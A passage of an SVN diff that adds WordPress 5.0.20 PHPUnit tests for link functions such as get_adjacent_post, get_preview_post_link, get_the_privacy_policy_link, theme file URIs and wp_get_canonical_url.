+		$terms = self::factory()->term->create_many( 2, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$p1 = self::factory()->post->create( array( 'post_date' => '2015-08-27 12:00:00' ) );
+		$p2 = self::factory()->post->create( array( 'post_date' => '2015-08-26 12:00:00' ) );
+		$p3 = self::factory()->post->create( array( 'post_date' => '2015-08-25 12:00:00' ) );
+
+		wp_set_post_terms( $p1, array( $terms[0], $terms[1] ), 'wptests_tax' );
+		wp_set_post_terms( $p2, array( $terms[1] ), 'wptests_tax' );
+		wp_set_post_terms( $p3, array( $terms[0] ), 'wptests_tax' );
+
+		$this->go_to( get_permalink( $p1 ) );
+
+		$this->exclude_term = $terms[1];
+		add_filter( 'get_previous_post_excluded_terms', array( $this, 'filter_excluded_terms' ) );
+
+		$found = get_adjacent_post( true, array(), true, 'wptests_tax' );
+
+		remove_filter( 'get_previous_post_excluded_terms', array( $this, 'filter_excluded_terms' ) );
+		unset( $this->exclude_term );
+
+		$this->assertSame( $p3, $found->ID );
+	}
+
+	public function filter_excluded_terms( $excluded_terms ) {
+		$excluded_terms[] = $this->exclude_term;
+		return $excluded_terms;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPostLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPostLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getAdjacentPostLink.php	(revision 56912)
@@ -0,0 +1,67 @@
+<?php
+
+/**
+ * @group link
+ */
+class Tests_Link_GetAdjacentPostLink extends WP_UnitTestCase {
+
+	protected $post_ids;
+	protected $cat_id;
+
+	public function setUp(){
+		parent::setUp();
+		$this->cat_id = self::factory()->category->create( array( 'name' => 'other' ) );
+		$this->post_ids = array();
+		$this->post_ids[] = self::factory()->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 05:32:29', 'category_id' => 1 ) );
+		$this->post_ids[] = self::factory()->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 04:32:29', 'category_id' => $this->cat_id ) );
+		$this->post_ids[] = self::factory()->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 03:32:29', 'category_id' => 1 ) );
+		$this->post_ids[] = self::factory()->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 02:32:29', 'category_id' => $this->cat_id ) );
+		$this->post_ids[] = self::factory()->post->create( array( 'post_type' => 'post', 'post_date' => '2014-10-26 01:32:29', 'category_id' => 1 ) );
+
+		//set current post (has 2 on each end)
+		global $GLOBALS;
+		$GLOBALS['post'] = get_post( $this->post_ids[2] );
+	}
+
+	public function test_get_next_post_link_default() {
+		$actual = get_next_post_link();
+		$title = get_post( $this->post_ids[1] )->post_title;
+		$expected = '<a href="' . home_url( '?p=' . $this->post_ids[1] ) . '" rel="next">' . $title . '</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_default() {
+		$actual = get_previous_post_link();
+		$title = get_post( $this->post_ids[3] )->post_title;
+		$expected = '&laquo; <a href="' . home_url( '?p=' . $this->post_ids[3] ) . '" rel="prev">' . $title . '</a>';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_next_post_link_same_category() {
+		$actual = get_next_post_link( '%link &raquo;', '%title', true );
+		$title = get_post( $this->post_ids[1] )->post_title;
+		$expected = '<a href="' . home_url( '?p=' . $this->post_ids[1] ) . '" rel="next">' . $title . '</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_same_category() {
+		$actual = get_previous_post_link( '&laquo; %link', '%title', true );
+		$title = get_post( $this->post_ids[3] )->post_title;
+		$expected = '&laquo; <a href="' . home_url( '?p=' . $this->post_ids[3] ) . '" rel="prev">' . $title . '</a>';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_next_post_link_exclude_category() {
+		$actual = get_next_post_link( '%link &raquo;', '%title', false, $this->cat_id );
+		$title = get_post( $this->post_ids[1] )->post_title;
+		$expected = '<a href="' . home_url( '?p=' . $this->post_ids[1] ) . '" rel="next">' . $title . '</a> &raquo;';
+		$this->assertSame( $expected, $actual );
+	}
+
+	public function test_get_previous_post_link_exclude_category() {
+		$actual = get_previous_post_link( '&laquo; %link', '%title', false, $this->cat_id );
+		$title = get_post( $this->post_ids[3] )->post_title;
+		$expected = '&laquo; <a href="' . home_url( '?p=' . $this->post_ids[3] ) . '" rel="prev">' . $title . '</a>';
+		$this->assertSame( $expected, $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getDashboardUrl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getDashboardUrl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getDashboardUrl.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * @group link
+ */
+class Tests_Link_GetDashboardUrl extends WP_UnitTestCase {
+	static $user_id = false;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$user_id = $factory->user->create( array( 'role' => 'administrator' ) );
+	}
+
+	public static function wpTearDownAfterClass() {
+		if ( is_multisite() ) {
+			wpmu_delete_user( self::$user_id );
+		} else {
+			wp_delete_user( self::$user_id );
+		}
+	}
+
+	/**
+	 * @ticket 39065
+	 */
+	public function test_get_dashboard_url_for_current_site_user() {
+		$this->assertEquals( admin_url(), get_dashboard_url( self::$user_id ) );
+	}
+
+	/**
+	 * @ticket 39065
+	 */
+	public function test_get_dashboard_url_for_user_with_no_sites() {
+		add_filter( 'get_blogs_of_user', '__return_empty_array' );
+
+		$expected = is_multisite() ? user_admin_url() : admin_url();
+
+		$this->assertEquals( $expected, get_dashboard_url( self::$user_id ) );
+	}
+
+	/**
+	 * @ticket 39065
+	 * @group ms-required
+	 */
+	public function test_get_dashboard_url_for_network_administrator_with_no_sites() {
+		grant_super_admin( self::$user_id );
+
+		add_filter( 'get_blogs_of_user', '__return_empty_array' );
+
+		$expected = admin_url();
+		$result = get_dashboard_url( self::$user_id );
+
+		revoke_super_admin( self::$user_id );
+
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 39065
+	 * @group ms-required
+	 */
+	public function test_get_dashboard_url_for_administrator_of_different_site() {
+		$site_id = self::factory()->blog->create( array( 'user_id' => self::$user_id ) );
+
+		remove_user_from_blog( self::$user_id, get_current_blog_id() );
+
+		$expected = get_admin_url( $site_id );
+		$result = get_dashboard_url( self::$user_id );
+
+		remove_user_from_blog( self::$user_id, $site_id );
+		add_user_to_blog( get_current_blog_id(), self::$user_id, 'administrator');
+
+		wpmu_delete_blog( $site_id, true );
+
+		$this->assertEquals( $expected, $result );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getNextCommentsLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getNextCommentsLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getNextCommentsLink.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * @group link
+ * @group comment
+ * @covers ::get_next_comments_link
+ */
+class Tests_Link_GetNextCommentsLink extends WP_UnitTestCase {
+
+	public function test_page_should_respect_value_of_cpage_query_var() {
+		$p = self::factory()->post->create();
+		$this->go_to( get_permalink( $p ) );
+
+		$cpage = get_query_var( 'cpage' );
+		set_query_var( 'cpage', 3 );
+
+		$link = get_next_comments_link( 'Next', 5 );
+
+		$this->assertContains( 'cpage=4', $link );
+
+		set_query_var( 'cpage', $cpage );
+	}
+
+	/**
+	 * @ticket 20319
+	 */
+	public function test_page_should_default_to_1_when_no_cpage_query_var_is_found() {
+		$p = self::factory()->post->create();
+		$this->go_to( get_permalink( $p ) );
+
+		$cpage = get_query_var( 'cpage' );
+		set_query_var( 'cpage', '' );
+
+		$link = get_next_comments_link( 'Next', 5 );
+
+		$this->assertContains( 'cpage=2', $link );
+
+		set_query_var( 'cpage', $cpage );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getPostCommentsFeedLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getPostCommentsFeedLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getPostCommentsFeedLink.php	(revision 56912)
@@ -0,0 +1,109 @@
+<?php
+/**
+ * @group link
+ */
+class Tests_Link_GetPostCommentsFeedLink extends WP_UnitTestCase {
+
+	public function test_post_link() {
+		$post_id = self::factory()->post->create();
+
+		$link = get_post_comments_feed_link( $post_id );
+		$expected = add_query_arg( array(
+			'feed' => get_default_feed(),
+			'p' => $post_id
+		), home_url( '/' ) );
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_post_pretty_link() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$post_id = self::factory()->post->create();
+
+		$link = get_post_comments_feed_link( $post_id );
+		$expected = get_permalink( $post_id ) . 'feed/';
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_attachment_link() {
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$link = get_post_comments_feed_link( $attachment_id );
+		$expected = add_query_arg( array(
+			'feed' => get_default_feed(),
+			'p' => $attachment_id
+		), home_url( '/' ) );
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_attachment_pretty_link() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'publish'
+		) );
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment',
+			'post_title' => 'Burrito'
+		) );
+
+		$p = get_post( $post_id );
+
+		$link = get_post_comments_feed_link( $attachment_id );
+		$expected = get_permalink( $post_id ) . 'burrito/feed/';
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_attachment_no_name_pretty_link() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$post_id = self::factory()->post->create();
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$link = get_post_comments_feed_link( $attachment_id );
+		$expected = get_permalink( $post_id ) . 'attachment/' . $attachment_id . '/feed/';
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_unattached_link() {
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$link = get_post_comments_feed_link( $attachment_id );
+		$expected = add_query_arg( array(
+			'feed' => get_default_feed(),
+			'attachment_id' => $attachment_id
+		), home_url( '/' ) );
+
+		$this->assertEquals( $expected, $link );
+	}
+
+	public function test_unattached_pretty_link() {
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+
+		$link = get_post_comments_feed_link( $attachment_id );
+		$expected = add_query_arg( 'attachment_id', $attachment_id, home_url( '/feed/' ) );
+
+		$this->assertEquals( $expected, $link );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getPostTypeArchiveLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getPostTypeArchiveLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getPostTypeArchiveLink.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * @group link
+ */
+class Tests_Link_GetPostTypeArchiveLink extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 19902
+	 */
+	public function test_get_post_archive_link_with_post_archive_on_front_page() {
+		update_option( 'show_on_front', 'posts' );
+		$actual = get_post_type_archive_link( 'post' );
+		$expected = get_home_url();
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * @ticket 19902
+	 */
+	public function test_get_post_archive_link_with_post_archive_on_a_blog_page() {
+		$page_for_posts = $this->factory->post->create( array( 'post_title' => 'blog-page', 'post_type' => 'page' ) );
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', $page_for_posts );
+		$actual = get_post_type_archive_link( 'post' );
+		$expected = get_permalink( $page_for_posts );
+		$this->assertSame( $expected, $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getPreviewPostLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getPreviewPostLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getPreviewPostLink.php	(revision 56912)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * @group link
+ * @covers ::get_preview_post_link
+ */
+class Tests_Link_GetPreviewPostLink extends WP_UnitTestCase {
+
+	public function test_get_preview_post_link() {
+		$post = self::factory()->post->create();
+
+		$this->assertEquals( add_query_arg( 'preview', 'true', get_permalink( $post ) ), get_preview_post_link( $post) );
+	}
+
+	public function test_get_preview_post_link_should_add_additional_query_vars() {
+		$post = self::factory()->post->create();
+
+		$expected = add_query_arg( array(
+			'foo'     => 'bar',
+			'bar'     => 'baz',
+			'preview' => 'true',
+		), get_permalink( $post ) );
+
+		$this->assertEquals( $expected, get_preview_post_link( $post, array(
+			'foo' => 'bar',
+			'bar' => 'baz',
+		) ) );
+	}
+
+	public function test_get_preview_post_link_should_use_custom_base_preview_link() {
+		$post = self::factory()->post->create();
+
+		$expected = 'https://google.com/?foo=bar&bar=baz&preview=true';
+
+		$this->assertEquals( $expected, get_preview_post_link( $post, array(
+			'foo' => 'bar',
+			'bar' => 'baz',
+		), 'https://google.com/' ) );
+	}
+
+	public function test_get_preview_post_link_should_return_null_for_non_existent_post() {
+		$this->assertNull( get_preview_post_link() );
+		$this->assertNull( get_preview_post_link( 9999 ) );
+		$this->assertNull( get_preview_post_link( 'foo' ) );
+	}
+
+	public function test_get_preview_post_link_for_global_post() {
+		$post = self::factory()->post->create_and_get();
+
+		$GLOBALS['post'] = $post;
+
+		$this->assertEquals( add_query_arg( 'preview', 'true', get_permalink( $post ) ), get_preview_post_link() );
+	}
+
+	public function test_get_preview_post_link_should_return_empty_string_for_non_viewable_post_type() {
+		$post_type = register_post_type( 'non_viewable_cpt', array(
+			'public' => false,
+		) );
+
+		$post = self::factory()->post->create( array(
+			'post_type' => $post_type->name
+		) );
+
+		$this->assertSame( '', get_preview_post_link( $post ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getPreviousCommentsLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getPreviousCommentsLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getPreviousCommentsLink.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+
+/**
+ * @group link
+ * @group comment
+ * @covers ::get_previous_comments_link
+ */
+class Tests_Link_GetPreviousCommentsLink extends WP_UnitTestCase {
+
+	public function test_page_should_respect_value_of_cpage_query_var() {
+		$p = self::factory()->post->create();
+		$this->go_to( get_permalink( $p ) );
+
+		$cpage = get_query_var( 'cpage' );
+		set_query_var( 'cpage', 3 );
+
+		$link = get_previous_comments_link( 'Next' );
+
+		$this->assertContains( 'cpage=2', $link );
+
+		set_query_var( 'cpage', $cpage );
+	}
+
+	public function test_page_should_default_to_1_when_no_cpage_query_var_is_found() {
+		$p = self::factory()->post->create();
+		$this->go_to( get_permalink( $p ) );
+
+		$cpage = get_query_var( 'cpage' );
+		set_query_var( 'cpage', '' );
+
+		$link = get_previous_comments_link( 'Next', 5 );
+
+		// Technically, it returns null here.
+		$this->assertEquals( '', $link );
+
+		set_query_var( 'cpage', $cpage );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/getThePrivacyPolicyLink.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/getThePrivacyPolicyLink.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/getThePrivacyPolicyLink.php	(revision 56912)
@@ -0,0 +1,163 @@
+<?php
+/**
+ * Define a class to test the `get_the_privacy_policy_link()` function.
+ *
+ * @package WordPress
+ * @subpackage UnitTests
+ * @since 4.9.6
+ */
+
+/**
+ * Test cases for the `get_the_privacy_policy_link()` function.
+ *
+ * @group link
+ * @group privacy
+ * @covers get_the_privacy_policy_link
+ *
+ * @since 4.9.6
+ */
+class Tests_Link_GetThePrivacyPolicyLink extends WP_UnitTestCase {
+	/**
+	 * The ID of the Privacy Policy page.
+	 *
+	 * @since 4.9.6
+	 * @var int $privacy_policy_page_id
+	 */
+	protected static $privacy_policy_page_id;
+
+	/**
+	 * The URL of the Privacy Policy page.
+	 *
+	 * @since 4.9.6
+	 * @var string $privacy_policy_url
+	 */
+	protected static $privacy_policy_url;
+
+	/**
+	 * The text that gets prepended to the `get_the_privacy_policy_link()` output.
+	 *
+	 * @since 4.9.6
+	 * @var string $before
+	 */
+	protected static $before;
+
+	/**
+	 * The text that gets appended to the `get_the_privacy_policy_link()` output.
+	 *
+	 * @since 4.9.6
+	 * @var string $after
+	 */
+	protected static $after;
+
+	/**
+	 * Create fixtures that are shared by multiple test cases.
+	 *
+	 * @param WP_UnitTest_Factory $factory The base factory object.
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$privacy_policy_page_id = $factory->post->create(
+			array(
+				'post_type'  => 'page',
+				'post_title' => WP_TESTS_DOMAIN . ' Privacy Policy',
+			)
+		);
+
+		// `esc_url()` is added for consistency with `get_the_privacy_policy_link()`.
+		self::$privacy_policy_url = esc_url( get_permalink( self::$privacy_policy_page_id ) );
+
+		self::$before = '<span class="privacy-policy-link-wrapper">';
+		self::$after  = '</span>';
+	}
+
+	/**
+	 * The function should return a valid link if a privacy policy page has been
+	 * created and set as the `wp_page_for_privacy_policy`. The post title should
+	 * be used as the link text.
+	 */
+	public function test_get_the_privacy_policy_link_should_return_valid_link_when_privacy_page_set() {
+		update_option( 'wp_page_for_privacy_policy', self::$privacy_policy_page_id );
+
+		$actual_link = get_the_privacy_policy_link();
+
+		$this->assertStringStartsWith( '<a', $actual_link );
+		$this->assertContains( self::$privacy_policy_url, $actual_link );
+		$this->assertStringEndsWith( '>' . WP_TESTS_DOMAIN . ' Privacy Policy</a>', $actual_link );
+	}
+
+	/**
+	 * The function should prepend the supplied `$before` markup and append the
+	 * supplied `$after` markup when the `wp_page_for_privacy_policy` is configured.
+	 */
+	public function test_get_the_privacy_policy_link_should_prepend_and_append_supplied_markup_when_privacy_page_set() {
+		update_option( 'wp_page_for_privacy_policy', self::$privacy_policy_page_id );
+
+		$actual_link = get_the_privacy_policy_link( self::$before, self::$after );
+
+		$this->assertStringStartsWith( self::$before . '<a', $actual_link );
+		$this->assertContains( self::$privacy_policy_url, $actual_link );
+		$this->assertStringEndsWith( '</a>' . self::$after, $actual_link );
+	}
+
+	/**
+	 * The function should _not_ prepend the supplied `$before` markup and append
+	 * the supplied `$after` markup when the `wp_page_for_privacy_policy` is _not_ configured.
+	 */
+	public function test_get_the_privacy_policy_link_should_not_prepend_and_append_supplied_markup_when_privacy_page_not_set() {
+		$actual_link = get_the_privacy_policy_link( self::$before, self::$after );
+
+		$this->assertSame( '', $actual_link );
+	}
+
+	/**
+	 * The function should return an empty string when there is an empty page title
+	 * for the privacy policy.
+	 *
+	 * @ticket 44192
+	 */
+	public function test_function_should_return_empty_string_when_privacy_page_title_empty() {
+		$nameless_page_id = $this->factory->post->create(
+			array(
+				'post_type'  => 'page',
+				'post_title' => '',
+			)
+		);
+
+		update_option( 'wp_page_for_privacy_policy', $nameless_page_id );
+
+		$this->assertSame( '', get_the_privacy_policy_link( self::$before, self::$after ) );
+	}
+
+	/**
+	 * The function should return an empty string when `wp_page_for_privacy_policy` is _not_ configured.
+	 */
+	public function test_get_the_privacy_policy_link_should_return_empty_string_when_privacy_page_not_set() {
+		$this->assertSame( '', get_the_privacy_policy_link() );
+	}
+
+	/**
+	 * The output of the get_the_privacy_policy_link() function should be filterable with the 'privacy_policy_link' filter.
+	 */
+	public function test_get_the_privacy_policy_link_should_be_filterable() {
+		update_option( 'wp_page_for_privacy_policy', self::$privacy_policy_page_id );
+		$expected_url = get_privacy_policy_url();
+
+		$this->assertNotEmpty( $expected_url );
+
+		add_filter( 'the_privacy_policy_link', array( $this, 'modify_link_markup' ), 10, 2 );
+		$this->assertSame( 'Policy: ' . $expected_url, get_the_privacy_policy_link() );
+		remove_filter( 'the_privacy_policy_link', array( $this, 'modify_link_markup' ), 10 );
+	}
+
+	/**
+	 * Return modified `the_privacy_policy_link` content in order to test the filter.
+	 *
+	 * @param string $link               The privacy policy link. Empty string if it
+	 *                                   doesn't exist.
+	 * @param string $privacy_policy_url The URL of the privacy policy. Empty string
+	 *                                   if it doesn't exist.
+	 * @return string
+	 */
+	public static function modify_link_markup( $link, $privacy_policy_url ) {
+		return 'Policy: ' . $privacy_policy_url;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/themeFile.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/themeFile.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/themeFile.php	(revision 56912)
@@ -0,0 +1,152 @@
+<?php
+/**
+ * @group link
+ */
+class Test_Theme_File extends WP_UnitTestCase {
+
+	public static function wpSetUpBeforeClass( WP_UnitTest_Factory $factory ) {
+		if ( ! function_exists( 'symlink' ) ) {
+			self::markTestSkipped( 'symlink() is not available.' );
+		}
+		if ( ! @symlink( DIR_TESTDATA . '/theme-file-parent', WP_CONTENT_DIR . '/themes/theme-file-parent' ) ) {
+			self::markTestSkipped( 'Could not create parent symlink.' );
+		}
+		if ( ! @symlink( DIR_TESTDATA . '/theme-file-child', WP_CONTENT_DIR . '/themes/theme-file-child' ) ) {
+			self::markTestSkipped( 'Could not create child symlink.' );
+		}
+	}
+
+	public static function wpTearDownAfterClass() {
+		unlink( WP_CONTENT_DIR . '/themes/theme-file-parent' );
+		unlink( WP_CONTENT_DIR . '/themes/theme-file-child' );
+	}
+
+	/**
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_uri_with_parent_theme( $file, $expected_theme, $existence ) {
+		switch_theme( 'theme-file-parent' );
+
+		// Ensure the returned URL always uses the parent theme:
+		$this->assertSame( content_url( "themes/theme-file-parent/{$file}" ), get_theme_file_uri( $file ) );
+		$this->assertSame( content_url( "themes/theme-file-parent/{$file}" ), get_parent_theme_file_uri( $file ) );
+	}
+
+	/**
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_uri_with_child_theme( $file, $expected_theme, $existence ) {
+		switch_theme( 'theme-file-child' );
+
+		// Ensure the returned URL uses the expected theme:
+		$this->assertSame( content_url( "themes/{$expected_theme}/{$file}" ), get_theme_file_uri( $file ) );
+
+		// Ensure the returned URL always uses the parent theme:
+		$this->assertSame( content_url( "themes/theme-file-parent/{$file}" ), get_parent_theme_file_uri( $file ) );
+	}
+
+	/**
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_path_with_parent_theme( $file, $expected_theme, $existence ) {
+		switch_theme( 'theme-file-parent' );
+
+		// Ensure the returned path always uses the parent theme:
+		$this->assertSame( WP_CONTENT_DIR . "/themes/theme-file-parent/{$file}", get_theme_file_path( $file ) );
+		$this->assertSame( WP_CONTENT_DIR . "/themes/theme-file-parent/{$file}", get_parent_theme_file_path( $file ) );
+	}
+
+	/**
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_path_with_child_theme( $file, $expected_theme, $existence ) {
+		switch_theme( 'theme-file-child' );
+
+		// Ensure the returned path uses the expected theme:
+		$this->assertSame( WP_CONTENT_DIR . "/themes/{$expected_theme}/{$file}", get_theme_file_path( $file ) );
+
+		// Ensure the returned path always uses the parent theme:
+		$this->assertSame( WP_CONTENT_DIR . "/themes/theme-file-parent/{$file}", get_parent_theme_file_path( $file ) );
+	}
+
+	/**
+	 * Test the tests.
+	 *
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_existance( $file, $expected_theme, $existence ) {
+
+		if ( in_array( 'theme-file-child', $existence, true ) ) {
+			$this->assertFileExists( WP_CONTENT_DIR . "/themes/theme-file-child/{$file}" );
+		} else {
+			$this->assertFileNotExists( WP_CONTENT_DIR . "/themes/theme-file-child/{$file}" );
+		}
+
+		if ( in_array( 'theme-file-parent', $existence, true ) ) {
+			$this->assertFileExists( WP_CONTENT_DIR . "/themes/theme-file-parent/{$file}" );
+		} else {
+			$this->assertFileNotExists( WP_CONTENT_DIR . "/themes/theme-file-parent/{$file}" );
+		}
+
+	}
+
+	/**
+	 * @ticket 18302
+	 *
+	 * @dataProvider data_theme_files
+	 */
+	public function test_theme_file_uri_returns_valid_uri( $file, $expected_theme, $existence ) {
+		$uri = get_theme_file_uri( $file );
+		$parent_uri = get_parent_theme_file_uri( $file );
+
+		$this->assertSame( esc_url_raw( $uri ), $uri );
+		$this->assertSame( esc_url_raw( $parent_uri ), $parent_uri );
+	}
+
+	public function data_theme_files() {
+		$parent = 'theme-file-parent';
+		$child  = 'theme-file-child';
+
+		return array(
+			array(
+				'parent-only.php',
+				$parent,
+				array(
+					$parent,
+				),
+			),
+			array(
+				'child-only.php',
+				$child,
+				array(
+					$child,
+				),
+			),
+			array(
+				'parent-and-child.php',
+				$child,
+				array(
+					$parent,
+					$child,
+				),
+			),
+			array(
+				'neither.php',
+				$parent,
+				array(
+				),
+			),
+		);
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/link/wpGetCanonicalURL.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/link/wpGetCanonicalURL.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/link/wpGetCanonicalURL.php	(revision 56912)
@@ -0,0 +1,139 @@
+<?php
+
+/**
+ * @group link
+ * @group canonical
+ * @covers ::wp_get_canonical_url
+ */
+class Tests_WpGetCanonicalURL extends WP_UnitTestCase {
+	public static $post_id;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id = $factory->post->create( array(
+			'post_status' => 'publish',
+		) );
+	}
+
+	/**
+	 * Test for a non existing post.
+	 */
+	public function test_non_existing_post() {
+		$this->assertFalse( wp_get_canonical_url( -1 ) );
+	}
+
+	/**
+	 * Test for a post that is not published.
+	 */
+	public function test_post_status() {
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'draft',
+		) );
+
+		$this->assertFalse( wp_get_canonical_url( $post_id ) );
+	}
+
+	/**
+	 * Test for a page that is not the queried object.
+	 */
+	public function test_non_current_page() {
+		$this->assertEquals( get_permalink( self::$post_id ), wp_get_canonical_url( self::$post_id ) );
+	}
+
+	/**
+	 * Test non permalink structure page usage.
+	 */
+	public function test_paged_with_plain_permalink_structure() {
+		$link = add_query_arg( array(
+			'page' => 2,
+			'foo'  => 'bar',
+		), get_permalink( self::$post_id ) );
+
+		$this->go_to( $link );
+
+		$expected = add_query_arg( array(
+			'page' => 2,
+		), get_permalink( self::$post_id ) );
+
+		$this->assertEquals( $expected, wp_get_canonical_url( self::$post_id ) );
+	}
+
+	/**
+	 * Test permalink structure page usage.
+	 */
+	public function test_paged_with_custom_permalink_structure() {
+		$this->set_permalink_structure( '/%postname%/' );
+		$page = 2;
+
+		$link = add_query_arg( array(
+			'page' => $page,
+			'foo'  => 'bar',
+		), get_permalink( self::$post_id ) );
+
+		$this->go_to( $link );
+
+		$expected = trailingslashit( get_permalink( self::$post_id ) ) . user_trailingslashit( $page, 'single_paged' );
+
+		$this->assertEquals( $expected, wp_get_canonical_url( self::$post_id ) );
+	}
+
+	/**
+	 *  Test non permalink structure comment page usage.
+	 */
+	public function test_comments_paged_with_plain_permalink_structure() {
+		$cpage = 2;
+
+		$link = add_query_arg( array(
+			'cpage' => $cpage,
+			'foo'   => 'bar',
+		), get_permalink( self::$post_id ) );
+
+		$this->go_to( $link );
+
+		$expected = add_query_arg( array(
+			'cpage' => $cpage,
+		), get_permalink( self::$post_id ) . '#comments' );
+
+		$this->assertEquals( $expected , wp_get_canonical_url( self::$post_id ) );
+	}
+
+	/**
+	 * Test permalink structure comment page usage.
+	 */
+	public function test_comments_paged_with_pretty_permalink_structure() {
+		global $wp_rewrite;
+
+		$this->set_permalink_structure( '/%postname%/' );
+		$cpage = 2;
+
+		$link = add_query_arg( array(
+			'cpage' => $cpage,
+			'foo'   => 'bar',
+		), get_permalink( self::$post_id ) );
+
+		$this->go_to( $link );
+
+		$expected = user_trailingslashit( trailingslashit( get_permalink( self::$post_id ) ) . $wp_rewrite->comments_pagination_base . '-' . $cpage, 'commentpaged' ) . '#comments';
+
+		$this->assertEquals( $expected , wp_get_canonical_url( self::$post_id ) );
+	}
+
+	/**
+	 * Test calling of filter.
+	 */
+	public function test_get_canonical_url_filter() {
+		add_filter( 'get_canonical_url', array( $this, 'canonical_url_filter' ) );
+		$canonical_url = wp_get_canonical_url( self::$post_id );
+		remove_filter( 'get_canonical_url', array( $this, 'canonical_url_filter' ) );
+
+		$this->assertEquals( $this->canonical_url_filter(), $canonical_url );
+	}
+
+	/**
+	 * Filter callback for testing of filter usage.
+	 *
+	 * @return string
+	 */
+	public function canonical_url_filter() {
+		return 'http://canonical.example.org/';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/load/convertHrToBytes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/load/convertHrToBytes.php	(revision 56912)
